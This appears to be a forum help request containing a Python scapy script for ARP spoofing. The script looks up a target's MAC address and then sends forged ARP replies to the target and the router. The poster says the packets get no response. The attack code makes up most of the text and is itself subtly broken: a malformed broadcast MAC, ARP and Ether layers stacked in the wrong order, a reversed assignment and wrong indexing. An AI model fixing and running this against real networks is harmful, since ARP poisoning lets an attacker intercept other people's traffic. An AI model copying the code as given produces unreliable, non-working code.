This part of the code should find the MAC address of the target using its IP address.
def get_MAC(ip):
pkt_Ether = scapy.Ether(dst='ff:ff:ff:ff:ff')
pkt_ARP = scapy.ARP(pdst=ip)
packet = pkt_ARP / pkt_Ether
ans, unans = scapy.srp(packet, timeout=1, verbose=False) [0]
ans[0][1][ARP].hwsrc = target_mac
return target_mac
With the MAC address of the target, it should then send a packet to the target and the router but I don't know why it's not working.
def spoof(target_ip, spoof_ip):
target_mac = get_MAC(target_ip)
packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
scapy.srp(packet, verbose=False)
I tried to use Python3 by adapting the program to be executed, but it sends the packets and they return without a response.
If someone can help me...